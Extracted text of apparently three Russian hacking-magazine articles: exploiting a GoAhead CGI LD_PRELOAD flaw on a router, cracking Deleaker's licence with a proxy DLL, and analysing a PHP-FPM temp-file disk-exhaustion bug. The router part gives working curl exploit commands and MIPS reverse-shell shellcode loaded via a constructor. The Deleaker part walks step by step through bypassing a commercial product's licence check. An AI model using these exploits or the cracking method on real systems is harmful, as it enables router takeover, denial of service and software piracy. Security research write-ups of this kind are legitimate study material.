539:     if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) 
< 0) {
540:         error("Cannot open CGI stdin: ", cgiPath);
541:         return ‐1;
542:     }
...
553:         if (dup2(fdin, 0) < 0) {
554:             printf("content‐type: text/html\n\nDup of stdin 
failed\n");

Он ука зыва ет на вре мен ный файл, в котором содер жится тело отправ ленно го
зап роса  POST. Это  зна чит,  что  в  дирек тории    лежит  файл  с  наз вани ем
вида  ,  в  котором  находят ся  передан ные  поль зователь ские  дан‐ 
ные.  То  есть  ты  можешь  отпра вить  POST‐зап рос  на  любой  CGI‐скрипт  и  в
теле  передать  содер жимое  ском пилиро ван ной  полез ной  наг рузки,  что бы
под гру зить  биб лиоте ку  с  помощью  .  Что‐то
при мер но такое:

/tmp
cgi‐XXXXXX

LD_PRELOAD=/tmp/cgi‐XXXXXX

curl ‐X POST ‐‐data‐binary @payload.so http://goahead.visualhack/
cgi‐bin/cgitest?LD_PRELOAD=/tmp/cgi‐XXXXXX

Тут  мы  натыка емся  на  еще  одни  граб ли —  сбру тить  наз вание фай ла  проб‐ 
лематич но, но и здесь есть выход. Линук совая фай ловая под систе ма  ,
в  дирек тории  ,  соз дает  для  каж дого  выпол няемо го  про цес са
сим линки на откры тые фай ловые дес крип торы. Нулевой дес крип тор (

) будет ука зывать на нуж ный нам вре мен ный файл, и мы можем лег‐ 
ко исполь зовать это при экс плу ата ции. PID про цес са нам знать не нуж но, так
как есть сущ ность  , и она ука зыва ет на текущий. Получа ется вот такой век‐ 
тор ата ки.

procfs
/proc/PID/fd

/proc/
PID/fd/0

self

curl ‐X POST ‐‐data‐binary @payload.so http://goahead.visualhack/
cgi‐bin/cgitest?LD_PRELOAD=/proc/self/fd/0 ‐i | head

Уда лен ная экс плу ата ция GoAhead

Как видишь, мож но исполь зовать и  , резуль тат ана логич ный./dev/stdin

АТАКУЕМ РОУТЕР
Те перь  мож но  добавить  полез ную  наг рузку  посерь езнее.  Сде лаем  это  на
при мере  китай ско го роуте ра LB‐LINK BL‐WR3000A. Для начала ска чаем его

 с офи циаль ного сай та про изво дите ля. Пос ле это го рас паку ем про‐ 
шив ку при помощи ути литы binwalk.
про шив ку

binwalk ‐e WR3000A(5)_628‐SD‐EN‐1.0.9‐upgrade

Рас паков ка про шив ки для роуте ра LB‐LINK BL‐WR3000A

Тут нас инте ресу ет файл   — в нем находит ся фай ловая сис тема роуте‐ 
ра, он рас паковы вает ся архи вато ром 7z. Затем мож но запус тить поиск фай‐ 
лов с рас ширени ем cgi. Не буду  томить и ска жу,  что фай лы лежат в пап ке 

.

412000

/
etc_ro/web/cgi‐bin

Эти  скрип ты  —  потен циаль ные  точ ки  вхо да  для  про веде ния  ата ки.
К  сожале нию,  они  дос тупны  толь ко  пос ле  авто риза ции  на  роуте ре,  но  нам
это неваж но, для демонс тра ции уяз вимос ти хва тит и такого при мера. :‐)

Даль ше нуж но узнать, какой Linux уста нов лен на роуте ре. Это мож но про‐ 
верить ути литой  , нат равив ее на любой бинар ник, нап ример из дирек‐ 
тории bin.

file

file bin/busybox
busybox: ELF 32‐bit LSB executable, MIPS, MIPS32 rel2 version 1 (
SYSV), dynamically linked, interpreter /lib/ld‐uClibc.so.0, stripped

Хо рошо,  теперь  нам нуж но  вос поль зовать ся  ути литой  ,  что бы  ском‐ 
пилиро вать биб лиоте ку с пей лоадом под MIPS. Для это го понадо бит ся пос‐ 
тавить нес коль ко допол нитель ных пакетов и подож дать пол часа ком пиляции.
:) Или можешь пос тавить пакет gcc‐mipsel‐linux‐gnu — он тоже сде лает свою
работу.

buildroot

apt‐get install ‐y file cpio python bc libncurses5‐dev

Сле дующий  шаг  —  генера ция  пей лоада.  Сде лать  это  мож но  с  помощью
пакета    (The Router Exploitation Framework). В обра щении эта шту ка ана‐ 
логич на MSF:  выбира ем пей лоад,  вво дим дан ные,  ста вим фор мат  пей лоада
и  получа ем  готовый  код.  В  качес тве  наг рузки  я  буду  исполь зовать  бэк‐ 
коннект‐шелл.

RSF

Ге нера ция кода шел ла для экс пло ита

Те перь  встав ляем  получен ный  код  в  наш  PoC.  И  на  мес те  фун кции  вывода
стро ки «Hello World» вызыва ем его. Получит ся что‐то вро де это го.

poc-mipsel.c
01: #include <stdio.h>
02: #include <unistd.h>
03: 
04: unsigned char sh[] = {
05:   "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04"
06:   "\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20"
07:   "\x80\x01\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27"
08:   "\x20\x80\x01\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24"
09:   "\x0c\x09\x09\x01\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09"
10:   "\x01\xc9\x0f\x02\x24\x0c\x09\x09\x01\x7a\x69\x05\x3c\x02\x00"
11:   "\xa5\x34\xf8\xff\xa5\xaf\x63\x01\x05\x3c\xc0\xa8\xa5\x34\xfc"
12:   "\xff\xa5\xaf\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01"
13:   "\x4a\x10\x02\x24\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08"
14:   "\x35\xec\xff\xa8\xaf\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff"
15:   "\xa8\xaf\xff\xff\x07\x28\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec"
16:   "\xff\xa4\x23\xec\xff\xa8\x23\xf8\xff\xa8\xaf\xf8\xff\xa5\x23"
17:   "\xec\xff\xbd\x27\xff\xff\x06\x28\xab\x0f\x02\x24\x0c\x09\x09"
18:   "\x01"
19: };
20: 
21: static void before_main(void) __attribute__((constructor));
22: 
23: static void before_main(void)
24: {
25:   (*(void(*)()) sh)();
26: }

Те перь ком пилиру ем для нуж ной архи тек туры с помощью buildroot.

./buildroot‐2017.11.2/output/host/bin/mipsel‐linux‐gcc ‐shared ‐fPIC 
poc‐mipsel.c ‐o poc‐mipsel.so

Ком пиляция бэк коннект‐шел ла

А  теперь  слу шаем  ука зан ный  порт  и  отправ ляем  биб лиоте ку  с  бэк шеллом
через зап рос к CGI‐скрип ту уже извес тным нам спо собом.

curl ‐X POST ‐‐data‐binary @poc‐mipsel.so http://router.visualhack/
cgi‐bin/upload.cgi?LD_PRELOAD=/proc/self/fd/0 ‐i | head

И к нам при ходит кон нект.

Ус пешная экс плу ата ция. Бэк коннект при шел!

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Веб‐сер вер GoAhead популя рен и  исполь зует ся  во мно жес тве  устрой ств —
в том чис ле роуте ров. Shodan   более 700 тысяч устрой ств по кей вор‐ 
ду GoAhead.  Разуме ется,  раз работ чики  быс тро  отре аги рова ли  на  проб лему
и  выпус тили  ,  который  зап реща ет  исполь зовать  потен циаль но  опас ные
перемен ные окру жения  в  зап росах.  Так же  выш ла  новая  вер сия  дис три бути‐ 
ва 3.6.5, в которой уяз вимость исправ лена. Так что пос пеши обно вить ся, если
явля ешь ся счас тли вым поль зовате лем баж ного при ложе ния.

на ходит

патч

http://man7.org/linux/man-pages/man2/dup.2.html
https://github.com/torvalds/linux/blob/master/fs/proc/self.c#L10
http://www.lb-link.cn/inc/lib/download/download.php?DId=157
https://buildroot.org/downloads/buildroot-2017.11.2.tar.gz
https://github.com/reverse-shell/routersploit
https://vimeo.com/254677072
https://www.shodan.io/search?query=Server%3A+goahead
https://github.com/embedthis/goahead/commit/6f786c123196eb622625a920d54048629a7caa74#diff-7c9c60c790648b06210f57b9e2f53ca7
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OnLyOnE
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ВЗЛОМ

Не  так  дав но  на  гла за  мне  попалась  прог рамма  Deleaker.
Соф тина, из опи сания на сай те,  пред назна чена для поис ка
в  при ложе ниях  уте чек  памяти,  GDI‐ресур сов  и  незак рытых
хен длов.  А  мне  ста ло  инте рес но,  как  у  нее  обсто ят  дела
с защитой от взло ма.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

INFO

Под робнее о Deleaker можешь узнать 
.  А  в  кон це  этой  статьи  тебя ждет  скид ка  50%

на  эту  прог рамму...  от  самих  раз работ чиков
Deleaker!

в этом пос‐ 
те

  я  ска чал  три аль ную  вер сию  и  зап росил  для  нее  проб ный  ключ,
который  мне  и  прис лали  на  имейл.  Теперь  мож но  начинать  изу чение  прог‐ 
раммы и ее механиз ма регис тра ции.

На  сай те

Greetings
Мои бла годар ности зав сегда таям форума exelab.ru:

Mak;•
VodoleY;•
ELF_7719116;•
Kindly•

и мно гим дру гим.

Продолжение статьи →

mailto:onlyone.rnd@gmail.com
https://xakep.ru/2018/01/31/deleaker-crack/
http://www.deleaker.com/


DELEAKER,
НЕ БОЛЕЙ!

ЛОМАЕМ ЗАЩИТУ В ОБХОД VMPROTECT
И ПИШЕМ PROXY DLL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПРОЦЕСС
Прог рамма  уста нав лива ется  в  дирек торию 

 как standalone, хотя есть вари ант интегра ции Deleaker в Visual Studio
в виде допол нения  (.vsix). Но я не поль зуюсь Visual Studio, и для меня  такой
спо соб был недос тупен.

C:\Program  Files  (x86)\De‐
leaker

В дирек торию были уста нов лены такие фай лы.

За пус каем  прог рамму  и  вво дим  прис ланный  ключ.  Соф тина  обе щает  нам
проб ный пери од исполь зования.

За меча тель но. :)

Инс тру мен ты, которые нам понадо бят ся
x64dbg — отладчик;•
DIE aka Detect It Easy — ана лиза тор фай лов;•
CFF Explorer — PE‐редак тор;•
MASM — ком пилятор.•

Итак,  про верив  все  исполня емые  фай лы  ана лиза тором  DIE,  в  дирек тории
уста нов ленной прог раммы находим две DLL’ки, «нак рытые» VMProtect:

;• deleakersdk32.dll

.• deleakersdk64.dll

Я пред положил, что механизм (код) лицен зирова ния (регис тра ции) находит ся
имен но в них.

Зачем нуж ны две DLL’ки?
За бегу впе ред: DLL’ки иден тичны, единс твен ное раз личие — одна 32‐бит ная,
дру гая  64‐бит ная.  Механизм  лицен зирова ния  (регис тра ции)  исполь зует ся
толь ко из deleakersdk32.dll, что облегча ет нашу задачу.

Да лее я открыл deleakersdk32.dll в CFF Explorer и зашел в дирек торию Export.
Там наш лись четыре экспор тиру емые фун кции с говоря щими име нами.

Эти  фун кции  как  раз  и  отве чают  за  лицен зирова ние  (регис тра цию)  прог‐ 
раммы.

Все  бы  хорошо,  если  бы  файл  Deleaker.exe,  который,  собс твен но,
и  исполь зует  в  дан ном  слу чае  deleakersdk32.dll,  не  был  написан  на  .NET,
а  сама  DLL  —  на  Visual  C++.  То  есть  запус тить  Deleaker.exe  нап рямую
в отладчи ке x64dbg у нас не получит ся.

Но это не беда, мы прос то запус каем Deleaker.exe и атта чим ся к про цес су
x64dbg.

В  окне  Symbols  отладчи ка,  в  левой  полови не  находим  и  выделя ем  кур‐ 
сором нашу DLL. Спра ва мы уви дим спи сок ее импорти руемых и экспор тиру‐ 
емых фун кций. Нас инте ресу ют толь ко те, что мы обна ружи ли ранее в CFF Ex‐
plorer.  Выделяя  по  оче реди  кур сором  фун кции,  нажима ем  кла вишу  F2,  тем
самым уста нав ливая точ ки оста нова (breakpoints) на начало исполне ния кода
этих фун кций.

Пос ле это го воз вра щаем ся в окно Deleaker. Кли каем Help → About.
В  отладчи ке  оста нав лива емся  в  начале  фун кции 

.  Эта  фун кция,  по  логике,  дол жна  воз вра щать  флаг  TRUE  или  FALSE.
Прок рутив  в  отладчи ке фун кцию до  кон ца,  видим,  что  прог рамма откры вает
и чита ет файл клю ча DeleakerLicense.key в дирек тории 

.

DeleakerSDK_IsRegis‐
tered

C:\ProgramData\De‐
leaker

Файл  содер жит  проб ный  регис тра цион ный  ключ,  который  я  ввел  рань ше
в прог рамме. В отладчи ке, в окне сте ка (пра вый ниж ний угол) кли каем по пер‐ 
вому адре су пра вой кноп кой мыши, выбира ем Follow DWORD in Disassembler
и в окне CPU отладчи ка ока зыва емся на адре се, куда поток вер нется пос ле
выхода  из  фун кции.  Уста нав лива ем  на  этом  адре се  точ ку  оста нова,  нажав
кла вишу F2.

Да лее  отпуска ем  поток  нажати ем  кла виши  F9.  Отладчик  оста нав лива ется
на дан ном адре се, и в регис тре EAX мы видим TRUE, запоми наем это.

Опять нажима ем F9, и отладчик вста ет уже на вто рой фун кции 
.  Из  наз вания  понят но,  что  фун кция  воз вра щает

имя  зарегис три рован ного  поль зовате ля.  В  фун кцию  переда ется  ука затель
на ячей ку памяти, куда фун кция дол жна вер нуть ука затель на буфер с име нем
поль зовате ля.  Этот  буфер  обя затель но  дол жен  быть  выделен  в  памяти  API
SysAllocString.

DeleakerSD‐
K_GetRegisteredUserName

В  окне  сте ка  кли каем  пра вой  кноп кой  мыши  по  адре су,  который  рас‐ 
полага ется  ниже  адре са  воз вра та  из  фун кции.  Выбира ем  из  спис ка  Follow
in Dump и в окне дам па памяти по адре су в сте ке видим пус тую ячей ку — вот
там и дол жен ока зать ся адрес буфера.

Да лее переме щаем ся  в  окне отладчи ка CPU на  адрес  воз вра та  из фун кции
и  ста вим  там  точ ку  оста нова.  «Отпуска ем»  отладчик  и  оста нав лива емся
на выходе из фун кции. Видим, что в ячей ке памяти появил ся адрес буфера и в
EAX у нас TRUE, — это говорит об «удач ном» завер шении фун кции.

В окне дам па кли каем опять пра вой кноп кой мыши по адре су в ячей ке памяти
и выбира ем Follow DWORD in Current Dump.

Мы попада ем непос редс твен но в буфер памяти,  где в фор мате double char
или  Unicode  находит ся  сооб щение,  что  срок  проб ной  вер сии  исте‐ 
кает  24  янва ря  2018  года.  В  «зарегис три рован ной»  вер сии  прог раммы
в буфере находит ся имя поль зовате ля.

Продолжение статьи →



DELEAKER,
НЕ БОЛЕЙ!

ЛОМАЕМ ЗАЩИТУ В ОБХОД VMPROTECT
И ПИШЕМ PROXY DLL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ДВИЖЕМСЯ ДАЛЬШЕ
У нас оста лись еще две фун кции, в которые мы тоже заг лянем.

Сни маем  точ ки  оста нова,  которые  мы  ста вили  на  выходе  из  фун кций,
и «отпуска ем» отладчик, нажимая F9.

Те перь  в  окне  Deleaker  кли каем  License →  License  Status…  и  отладчик
теперь  оста новил ся  в  треть ей  инте ресу ющей  нас  фун кции 

.  В  эту  фун кцию  для  получе ния  необ ходимой
информа ции из клю ча переда ется ука затель на уже «под готов ленный» буфер
раз мером 1296 (0х510) байт. В него копиру ются дан ные о текущей лицен зии,
а имен но пер вые четыре бай та, или DWORD, — это флаг, который ука зыва ет,
дей ству ющая  лицен зия  или  нет,  и  осталь ные  бай ты  —  это  информа ция
о лицен зии в фор мате Unicode.

DeleakerSD‐
K_GetLicenseInformation

Ста вим точ ку оста нова на выходе из фун кции, в окне сте ка кли каем по вто‐ 
рому свер ху адре су пра вой кноп кой и выбира ем Follow in Dump, в окне дам па
памяти  уви дим  «пус тую»  область  памяти  —  это  и  есть  буфер‐при емник.
Далее  «отпуска ем»  отладчик,  нажимая  F9,  и  оста нав лива емся  уже  на  точ ке
оста нова на выходе из фун кции. В регис тре EAX находит ся TRUE. В буфере —
информа ция о текущей лицен зии.

И  пос ледняя  фун кция.  В  окне  Deleaker  кли каем  License  →  VieW  Serial…
Отладчик оста новит ся в фун кции  .DeleakerSDK_GetSerialKey

Она ана логич на по фор мату при ема парамет ров и отда чи дан ных 
, раз ница толь ко в том, что она воз вра щает ука‐ 

затель на буфер с Unicode‐стро кой в фор мате Base64 из фай ла DeleakerLi‐
cense.key, выделен ный API SysAllocString, и флаг TRUE в EAX.

DeleakerS‐
DK_GetRegisteredUserName

КОДИНГ
Те перь мы зна ем все необ ходимые парамет ры и воз вра щаемые дан ные фун‐ 
кций.

Для  решения  задачи  я  выб рал  путь  написа ния  proxy  DLL.  Пере име новы‐ 
ваем  deleakersdk32.dll  в  deleaker32.dll.  Нуж но  написать  свою
deleakersdk32.dll,  которая будет  перенап равлять  все обра щения  через  себя
в  ори гиналь ную  deleakersdk32.dll  за  исклю чени ем  фун кций,  учас тву ющих
в  лицен зирова нии  (регис тра ции)  прог раммы.  При веду  код  толь ко  тех  фун‐ 
кций,  которые  мы  будем  эму лиро вать.  Исходный  код  proxy  DLL  прик реплен
к статье ниже.

Итак,  код  написан  на мак роас сем бле ре,  син таксис MASM. Это  эму лиро‐ 
ван ные мной фун кции:

И конеч ный резуль тат.

INFO

Так  как  Deleaker  уста нав лива ется  и  в  Microsoft
Visual  Studio  в  виде  допол нения  (.vsix),  то  про‐ 
цеду ру  с  пере име нова нием  ори гиналь ной  DLL
и заменой ее нашей сле дует пов торить и в дирек‐ 
тории,  куда  уста нов лена  сту дия  в  пап ке
Extensions.

ВЫВОДЫ
Ты  спро сишь,  а  где же  во  всей  этой  исто рии  VMProtect? И  я  отве чу,  что  он
в  дан ном  слу чае  при сутс тву ет  в  прог рамме  чис то  номиналь но.  Серь езный
потен циал  VMProtect  автор  прог раммы  прос то  свел  к  нулю  сво ими  без гра‐ 
мот ными  дей стви ями.  Защитив,  как  ему  казалось,  кри тич ные  учас тки  кода
в прог рамме, он оста вил дыру раз мером с фут боль ное поле.

 Имен но «на сты ке» плат форм
и обра зова лась гигант ская «дыра». Если тебе важ на безопас ность, луч ше
вооб ще отка зать ся от чего‐то одно го.

• Свя зывать раз ные плат формы в одном про дук те (в нашем слу- 

чае это .NET и VC++) нуж но гра мот но.

 Про вер ку лицен зии и фун кци онал
прог раммы,  завися щий  от  резуль татов  про вер ки  лицен зии,  необ ходимо
раз местить в одном и том же модуле, нак рыв кри тич ные кус ки кода и код,
который  исполь зует  резуль тат  их  работы,  тем  же  самым  VMProtect.
Эффектив ность защиты при этом воз растет в разы.

• Сто ит изба вить ся от «узких мест».

На деюсь, что раз работ чик про чита ет эту статью и учтет все опи сан ные недос‐ 
татки в защите сво его ПО.

WWW

Для  жела ющих  под робнее  изу чить  тех нику
написа ния  proxy  DLL  на  при мере  Deleaker  при‐ 
лагаю  .  Пароль
на  архив  —  .  Матери алы  пре дос тавля ются
исклю читель но в обра зова тель ных целях.

сор цы  получив шегося  про екта
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Скид ка 50% на Deleaker
Пос ле  пуб ликации  статьи  с  нами  свя зались  ее  раз работ чики  и  пред ложили
скид ку 50% для под писчи ков «Хакера».

На    при  покуп ке  Deleaker  вве ди  про мокод.  Пос ле  это го
сто имость прог раммы прев ратит ся из 99 дол ларов в 49!

стра нице  опла ты

  .Код для скид ки: XAKEP8563C5C5
Скид ка дей ству ет до 2 мар та 2018 года.

https://xakep.ru/wp-content/uploads/2018/fake_deleakersdk32.dll_source.rar
https://store.payproglobal.com/checkout?products%5B1%5D%5Bid%5D=41618
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ВЗЛОМ

В  самом  кон це  янва ря  в  баг тре кере  PHP  появи лось  опи‐ 
сание  инте рес ного  бага:  некото рые  сай ты  мож но  вывес ти
из строя, забив все сво бод ное мес то вре мен ными фай лами.
Уяз вимость  до  сих  пор  не  устра нена.  Давай  пос мотрим,
как ее экс плу ати ровать.

Проб лема  воз ника ет,  ког да  PHP  работа ет  в  связ ке  с  веб‐сер вером  nginx.
Вос поль зовав шись некор рек тной логикой при работе с дес крип торами зап‐ 
росов, зло умыш ленник может зас тавить сер вер не уда лять вре мен ные фай‐ 
лы, которые соз дают ся при работе с дан ными форм вида multipart/form‐data.
Ата кующий  может  отпра вить  на  сер вер  пач ку  зап росов,  которые  будут
оставлять  пос ле  себя  про изволь ное  количес тво  вре мен ных  фай лов  до  тех
пор, пока не кон чится мес то или не будут исчерпа ны дру гие ресур сы.

ПРИГОТОВЛЕНИЯ
На  момент  написа ния  статьи  баг  еще  не  запат чен,  поэто му  сго дит ся  PHP
любой  вер сии.  Если  тебе  неког да  возить ся  с  исходни ками  и  отладкой  и  ты
хочешь толь ко про верить работу экс пло ита, то можешь прос то пос тавить все
пакеты из репози тори ев. Нап ример, я буду исполь зовать вер сию 7.0.27 в кон‐ 
тей нере Docker с Debian 9.

docker run ‐‐rm ‐ti ‐‐cap‐add=SYS_PTRACE ‐‐security‐opt 
seccomp=unconfined ‐‐name=phptmp ‐‐hostname=phptmp ‐p80:80 debian /
bin/bash

Те перь уста новим nginx и PHP и запус тим их.

apt‐get update && apt‐get install ‐y php‐fpm nginx nano
apt‐get update && apt‐get install ‐y php5‐fpm php5‐dbg nginx nano

От редак тиру ем  кон фиг  текуще го  сай та  в 
,  рас коммен тиру ем  стро ки,  которые  отве чают  за  обра бот ку  фай лов

PHP, и изме ним путь к фай лу сокета. По дефол ту это 
. В тво ем слу чае он может быть дру гим, поэто му рекомен дую заг лянуть

в файл   и поис кать дирек тиву listen.

/etc/nginx/sites‐enabled/de‐
fault

/run/php/php7.0‐fpm.
sock

/etc/php/7.0/fpm/pool.d/www.conf

location ~ \.php$ {
   include snippets/fastcgi‐php.conf;
   fastcgi_pass unix:/run/php/php7.0‐fpm.sock;
}

service php7.0‐fpm start & service nginx start

Для  успешной  работы  экс пло ита  тебе  так же  понадо бит ся  любой  скрипт
на PHP, который будет дос тупен из веба.

echo > /var/www/html/index.php

Это  все,  что  нуж но  для  демонс тра ции  уяз вимос ти.  А  вот  если  ты  хочешь
разоб рать ся в при чинах и под робнос тях, то тут не обой тись без руч ной ком‐ 
пиляции PHP. Для начала уста новим необ ходимые зависи мос ти.

apt‐get install ‐y build‐essential git autoconf automake libtool 
re2c bison libxml2‐dev libgd‐dev curl gdb vim nano

Я решил оста новить ся на той же вер сии — 7.0.27. Толь ко в этот раз ска чаем
сор цы из  .гит‐репози тория

git clone ‐‐depth=1 ‐‐branch PHP‐7.0.27 https://github.com/php/
php‐src.git
cd php‐src

За тем скон фигури руем с под дер жкой PHP‐FPM.

./buildconf ‐‐force

./configure ‐‐enable‐debug ‐‐enable‐fpm ‐‐with‐fpm‐user="www‐data" 
‐‐with‐fpm‐group="www‐data"

Ос талось ском пилиро вать и уста новить. Тут все стан дар тно.

make
make install

Даль ше в кон фиге   нуж но нас тро ить количес тво дочер них про цес сов.
Что бы было про ще отла живать, рекомен дую пос тавить их в  .

php‐fpm
1

pm = static
pm.max_children = 1

При  отладке  нуж но  вклю чить  воз можность  отла живать  дочер ние  про цес сы
в GDB.

gdb ./sapi/fpm/php‐fpm
set follow‐fork‐mode child
r ‐‐nodaemonize ‐‐fpm‐config /etc/php/7.0/fpm/php‐fpm.conf

Го товый к отладке све жесоб ранный PHP‐FPM 7.0.27

На этом с при готов лени ями все.

ПОДРОБНОСТИ
На  стра нице  баг тре кера  PHP  иссле дова тель  выложил  .
Самое вре мя его ска чать и поп робовать запус тить. PoC, кста ти, тоже написан
на PHP.

ва риант  экс пло ита

Пос ле запус ка экс пло ита в дирек тории /tmp соз дает ся ворох фай лов

Да вай  заг лянем  в  исходный  код  и  пос мотрим,  что  же  там  про исхо дит.
Перемен ные    и    отве чают  за  адрес  хос та  и  путь  до  любого  PHP‐
скрип та соот ветс твен но.

host path

poc.php
4:  $host = 'localhost';
5:  $path = '/index.php';

За тем  ини циали зиру ются  перемен ные    и  .  Пер вая  отве чает
за количес тво фай лов, переда ваемых в одном зап росе к сер веру, вто рая —
за количес тво этих самых зап росов.

files request

poc.php
8:  $files = 20;
9:  $requests = 10;

По луча ется,  что  за один запуск экс пло ита мы соз даем 200 фай лов. Даль ше
идет фор мирова ние POST‐зап роса,  с  помощью  которо го  они будут  отправ‐ 
лять ся. Этот шаг неин тересен, поэто му мы его про пус каем. Даль ше начина‐ 
ется под клю чение к сер веру и отправ ка готово го рек веста.

41:     for($i = 1; $i <= $requests; $i++){
...
43:         $fp = stream_socket_client($scheme.($ip ? $ip : $host).':
'.($scheme ? 443 : 80), $errno, $errstr, 30);
44:         fwrite($fp, $header.$body);

А даль ше про исхо дит неболь шая магия.

44:         fwrite($fp, $header.$body);
45:         stream_socket_shutdown($fp, STREAM_SHUT_RDWR);
46:         fclose($fp);

Пос ле  отправ ки  дан ных  сокету  обмен  дан ными  с  ним  оста нав лива ется.  То
есть соеди нение зак рыва ется, и скрипт не ждет отве та от сер вера. Из‐за это‐ 
го получа ется, что nginx обры вает обще ние с PHP до того, как оно будет нор‐ 
маль но завер шено.

Да вай  обра тим ся  к  исходни кам. Вооб ще,  весь  про цесс  заг рузки фай лов
опи сан в спе цифи кации Form‐based File Upload  in HTML с иден тифика тором

. И    из  PHP,  который  занима ется  обра бот кой  заг ружен ных
фай лов,  име ет  такое  же  наз вание.  В  нем  нас  инте ресу ет  метод 

.

RFC1867 ис ходник
SAPI_‐

POST_HANDLER_FUNC

/main/rfc1867.c
616: /* read until a boundary condition */
617: static int multipart_buffer_read(multipart_buffer *self, char *
buf, size_t bytes, int *end)
618: {

Фун кция   откры вает вре мен ный файл на запись.php_open_temporary_fd_ex

/main/rfc1867.c
1012:               blen = multipart_buffer_read(mbuff, buff, sizeof(
buff), &end);
...
1019:                   fd = php_open_temporary_fd_ex(PG(upload
_tmp_dir), "php", &temp_filename, 1);
1020:                   upload_cnt‐‐;
1021:                   if (fd == ‐1) {
1022:                       sapi_module.sapi_error(E_WARNING, "File 
upload error ‐ unable to create a temporary file");
1023:                       cancel_upload = UPLOAD_ERROR_E;
1024:                   }

Даль ше выпол няет ся запись в файл передан ного в зап росе содер жимого.

1058:                   wlen = write(fd, buff, blen);

poc.php
06:     $file = 'Hey, look at me, I’m a temporary file content.';

От ладка кода на момен те соз дания вре мен ного фай ла и записи в него
поль зователь ских дан ных

Пос ле  того  как  скрипт    отра бота ет  (а  он  у  нас  пус той,  так  что
работать  ему  недол го),  выпол няют ся  про цеду ры  по  осво бож дению  памяти,
очис тке дан ных, которые были исполь зованы в про цес се, и про чие полез ные
вещи. Все они объ еди нены в метод  .

index.php

php_request_shutdown

/sapi/fpm/fpm/fpm_main.c
1969: fastcgi_request_done:
...
1995:           php_request_shutdown((void *) 0);

/main/main.c
1781: void php_request_shutdown(void *dummy)
1782: {

Нас инте ресу ет момент вызова фун кции  .sapi_deactivate

/main/main.c
1861:   /* 12. SAPI related shutdown (free stuff) */
1862:   zend_try {
1863:       sapi_deactivate();
1864:   } zend_end_try();

В  ее  теле  выпол няет ся  метод  .  Он  уда ляет
все вре мен ные фай лы, которые были соз даны для работы с поль зователь ски‐ 
ми дан ными, отправ ленны ми через фор му с типом содер жимого 

.

destroy_uploaded_files_hash

multipart/
form‐data

/main/SAPI.c
501: SAPI_API void sapi_deactivate(void)
502: {
...
535:    if (SG(rfc1867_uploaded_files)) {
536:        destroy_uploaded_files_hash();
537:    }

/main/rfc1867.c
207: PHPAPI void destroy_uploaded_files_hash(void) /* {{{ */
208: {
209:    zend_hash_apply(SG(rfc1867_uploaded_files), unlink_filename);
210:    zend_hash_destroy(SG(rfc1867_uploaded_files));
211:    FREE_HASHTABLE(SG(rfc1867_uploaded_files));
212: }

Толь ко вот выпол нение не доходит до это го метода. Перед ним выпол няет ся
метод,  ука зан ный  в  методе    текуще го  модуля.  В  нашем  слу чае
это   и вызыва ется фун кция  .

deactivate
FPM/FastCGI sapi_cgi_deactivate

/main/SAPI.c
532:    if (sapi_module.deactivate) {
533:        sapi_module.deactivate();
534:    }
535:    if (SG(rfc1867_uploaded_files)) {
536:        destroy_uploaded_files_hash();
537:    }

/sapi/fpm/fpm/fpm_main.c
816: static int sapi_cgi_deactivate(void) /* {{{ */
817: {
...
822:    if (SG(sapi_started)) {
823:        if (
...
827:            !fcgi_finish_request((fcgi_request*)SG(server_context
), 0)) {

От ладка PHP‐FPM. Момент вызова фун кции sapi_cgi_deactivate

На  этом  эта пе  завер шает ся  обра бот ка  всех  зап росов  и  резуль таты  отправ‐ 
ляют ся в соот ветс тву ющие сокеты.

/main/fastcgi.c
1661: int fcgi_finish_request(fcgi_request *req, int force_close)
1662: {
1663:   int ret = 1;
1664:
1665:   if (req‐>fd >= 0) {
1666:       ret = fcgi_end(req);
1667:       fcgi_close(req, force_close, 1);
1668:   }
1669:   return ret;
1670: }

За этот про цесс отве чает цепоч ка вызова фун кций   → 
→   →  .

fcgi_end fcgi_flush
safe_write write

1652: int fcgi_end(fcgi_request *req) {
1653:   int ret = 1;
1654:   if (!req‐>ended) {
1655:       ret = fcgi_flush(req, 1);
1656:       req‐>ended = 1;
1657:   }
1658:   return ret;
1659: }
1510: int fcgi_flush(fcgi_request *req, int end)
1511: {
...
1514:   close_packet(req);
...
1530:   if (safe_write(req, req‐>out_buf, len) != len) {
922: static inline ssize_t safe_write(fcgi_request *req, const void *
buf, size_t count)
923: {
...
948:        ret = write(req‐>fd, ((char*)buf)+n, count‐n);

Це поч ка вызова фун кций до сра баты вания уяз вимос ти в отладчи ке GDB

Ме тод   пыта ется записать в сокет информа цию, которую воз вра щает
интер пре татор  PHP.  Но  ему  это  не  уда ется,  потому  что  сокет  уже  зак рыт:
соеди нение с nginx было прер вано экс пло итом без ожи дания и чте ния отве та.
Пос ле выпол нения этой конс трук ции про цес су   отправ ляет ся сиг нал
SIGPIPE. Википе дия дает нам исчерпы вающее  :

write()

php‐fpm
оп ределе ние

В  POSIX-сис темах,  SIGPIPE  —  сиг нал,  посыла емый  про цес су
при  записи  в  соеди нение  (пайп,  сокет)  при  отсутс твии  или  обры ве
соеди нения с дру гой (чита ющей) сто роной.

Так как изна чаль но вся эта верени ца вызовов была ини цииро вана конс трук‐ 
цией  вида  ,  даль нейшее  выпол нение    прек раща‐ 
ется бла года ря  .

zend_try sapi_deactivate
zend_end_try

/main/main.c
1861:   /* 12. SAPI related shutdown (free stuff) */
1862:   zend_try {
1863:       sapi_deactivate();
